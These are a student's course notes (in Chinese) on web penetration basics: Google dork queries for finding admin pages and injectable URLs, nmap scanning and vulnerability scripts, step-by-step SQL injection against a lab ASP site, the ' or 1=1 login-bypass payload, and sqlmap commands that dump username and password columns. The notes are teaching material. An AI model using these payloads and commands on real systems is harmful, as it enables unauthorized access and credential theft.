开坑web

由于专业课程上有一门网络攻防,主要讲web方面的东西,但好像不是针对ctf来讲课的,可能更偏向web渗透的基础技能教学,一个pwn菜狗就这样开始入坑web,于是开篇专门记录一下所学习的东西,不然一下就忘了

GOOGLE HACK

课堂上简单介绍了一下google_hack 的用法,主要用来收集信息,发现管理后台的地址,没想到googl还有这种用法,真不愧是世界第一搜索引擎

关键字:

site 指定在某个网站中进行搜索
intitle 搜索标题中含有关键字的网页
inurl 搜索URL中存在关键字的网页
intext 搜索正文中含有关键字的网页
filetype 搜索指定文件类型

他的用处大概有这些:搜索注入点(id=xx),搜索敏感信息(admin、管理、后台、文件类型,敏感页面等等)

另外如果不想被这种方法搜到,可以在web目录中编辑robots.txt告知搜索引擎,网站中的哪些目录不希望被google爬虫爬行到。关于这个知识点,我见过一些web的ctf题目就是这样出的,直接地址栏输入xxxxx/robots.txt就可以显示出隐藏的内容,也就出flag了

具体语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
找管理后台地址:
site:xxx.com intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号
site:xxx.com inurl:login/admin/manage/manager/admin_login/login_admin/system/boss/master
site:xxx.com intitle:管理|后台|登陆|

找上传一类的漏洞:
site:xxx.com inurl:file
site:xxx.com inurl:load

找注入点页面:
site:xxx.com inurl:php?id=

找编辑器页面:
site:xxxx.com inurl:fck
site:xxx.com inurl:ewebeditor

找重要文件:
site:xxx.com inurl:robots.txt
site:xxx.com filetype:mdb
site:xxx.com filetype:ini
site:xxx.com inurl:txt
site:xxx.com filetype:php
site:xxx.com filetype:asp

注意:不要带上www,因为这样可以搜索到二级域名哦!搜索的文件名只是抛砖引玉,想出更多的文件名来发挥到极致!

intext:
这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含”动网”的网页.allintext:使用方法和intext类似.

intitle:
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含”安全天使”的网页.同理allintitle:也同intitle类似.

cache:
搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

define:
搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.

filetype:
这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富

inf
查找指定站点的一些基本信息.

inurl:
搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接http://www.claepo.com/xxx/admin,用来找管理员登陆的URL不错.allinurl也同inurl类似,可指定多个字符.

link:
例如搜索:inurl:www.4ngel.net可以返回所有和www.claepo.com做了链接的URL.

site:
这个也很有用,例如:site:claepo.com 将返回所有和claepo.com这个站有关的URL.

nmap

端口扫描神器,现在也集成了扫描漏洞的功能

语法简述:

nmap <扫描类型> <选项> <扫描目标>

常用的Nmap扫描类型

-sS:TCP SYN扫描,使用最多的扫描类型

-sP:以ping方式进行扫描

-v:显示扫描过程

-O:识别远程操作系统

-p:指定端口,如1-65535、80等

可以用来扫描存活的主机,开启的端口

很骚的是还可以扫出一些漏洞:

http-enum.nse 脚本扫描网站敏感目录。
nmap -p 80 –script=http-enum.nse www.xisu.cn

http-sql-injection.nse 脚本扫描注入漏洞
nmap -p 80 –script=http-sql-injection.nse www.xisu.cn

课上就提了一点点,我估计还有很多用法和命令没讲,以后用到了再自己网上搜一波

SQL注入

课上先讲了一波基础的语法:

1
2
3
4
5
6
7
MySQL中所有的语句后面都要加上“;” 表示结束。
lselect version(); #查看mysql版本
lselect user(); #查看当前用户
lselect database(); #查看当前打开的数据库
lshow databases; #查看MySQL中共包含了哪些数据库
luse test; #打开test数据库
lshow tables; #显示数据库中的表

还有好多好多,懒得贴了。。。

select from news where id=1 and exists (select from hack);

#通过exists()函数判断hack表是否存在

select * from news where id=1 and exists (select username from hack);

#通过exists()函数判断hack表中是否存在username字段

union联合查询

1
2
3
4
5
6
可以一次性执行两个或多个查询,并将它们的结果组合在一起输出显示。
union联合查询的基本规则: 所有查询中的列数必须相同

select * from news union select * from hack; #字段数不匹配,查询报错
select * from news union select username,password from hack; #查询正常
select * from hack union select 1,id,title from news; #查询正常

sql注入总体上来讲就是通过补充sql语句,进行其他的非法操作

对于这种操作,首先要解决的一个问题就是需要找到注入点

注入点一般是xxx.asp?id=xxx或者xx.php?id=xx的形式

比如:

URL:http://192.168.80.128/shownews.asp?id=16
SQL语句:select * from news where id=16

我们需要通过测试语句:
http://192.168.80.128/shownews.asp?id=16 and 1=1
select * from news where id=16 and 1=1

http://192.168.80.128/shownews.asp?id=16 and 1=2
select * from news where id=16 and 1=2

通过看页面是否正常回显来判断这个是不是注入点,确定了注入点后再进行下一步的操作

1、猜表名

1
2
3
4
5
http://192.168.80.128/shownews.asp?id=16 and exists (select * from manage_user)
select * from news where id=16 and exists (select * from manage_user)

常见表名:
admin user adminuser manage manager manage_user

2、猜字段名

1
2
3
4
5
6
7
8
http://192.168.80.128/shownews.asp?id=16 and exists (select username from manage_user)
select * from news where id=16 and exists (select username from manage_user)

常见的字段名:
账号:
name username user_name admin adminuser admin_user admin_username adminname
密码:
password pass userpass user_pass pwd userpwd adminpwd admin_pwd

3、猜字段的数量

1
2
3
4
5
6
http://192.168.80.128/shownews.asp?id=16 order by 11

select * from news where id=16 order by 11

既可猜解字段数量,又可获知可以显示内容的字段:
http://192.168.80.128/shownews.asp?id=16 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user

4、爆出内容

1
http://192.168.80.128/shownews.asp?id=16 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user

以上的sql例子是针对asp+access数据库来举例的

而在5.0以后版本的MySQL中存在着一个元数据库information_schema,其中存储着用户在MySQL中创建的所有其它数据库的信息。

在对PHP+MySQL类网站进行注入时,主要就是针对information_schema数据库进行操作

information_schema中比较重要的数据表

schemata:用于存放所有数据库的名字。

tables:用于存放所有数据库中的数据表的名字。

columns:用于存放所有数据库的所有数据表中的所有字段的名字。

利用information_schema查看其他数据库的内容

1
2
3
4
5
查看test数据库中包含了哪些表
select table_name from information_schema.tables where table_schema="test";

查看hack数据表中包含了哪些字段
select column_name from information_schema.columns where table_name="hack";

另外sql还可以用来密码绕过,这种操作应该有被应用到ctf的简单web题当中

比如

1
2
3
4
5
6
7
8
9
10
11
12
13
如果验证用户名和密码的语句是这样写的:
select * from admin where username = '$username' and password='$mpassword'

那么如果我们输入的用户名和密码都是
1’ or 1=1 or ‘1 或者 ‘ or ‘=‘ or ‘

结果会变成这样:
select * from admin where username = ‘1’ or 1=1 or ‘1' and password='$mpassword‘
select * from admin where username = ‘’ or ‘=‘ or ‘' and password='$mpassword‘

在逻辑表达式中,and的优先级高于or
假 or 真 or 真 and 最终结果为真
导致密码被绕过

sqlmap

sql注入神器,基于python编写,因此要在python环境下运行,各个平台的版本都有

如之前所说的,sql注入需要找到一个注入点

用这个神器就可以很方便的测试注入点,还可以进行一系列相关操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
检测注入点
sqlmap.py -u “http://192.168.80.128/shownews.asp?id=16”
“-u”选项用于指定URL

猜解表名
sqlmap.py -u "http://192.168.80.128/shownews.asp?id=16" –tables
--tables”选项用于指定猜解数据库中包含哪些表

字典文件所在文件夹:D:\Python\sqlmap\txt /usr/share/sqlmap/txt

猜解字段名
sqlmap.py -u "http://192.168.80.128/shownews.asp?id=16" --columns -T "manage_user“
“-T”选项,指定对哪个表进行猜解
“--columns”选项,告诉sqlmap这次的任务是猜解字段名

爆出字段内容
sqlmap.py -u "http://192.168.80.128/shownews.asp?id=16" --dump -C "username,password" -T "manage_user“
选项“--dump”连同选项“-C”一起使用,意为猜解指定字段中的内容。

sqlmap将检测结果保存到C:\Users\用户名\.sqlmap\output目录中(/root/.sqlmap/output)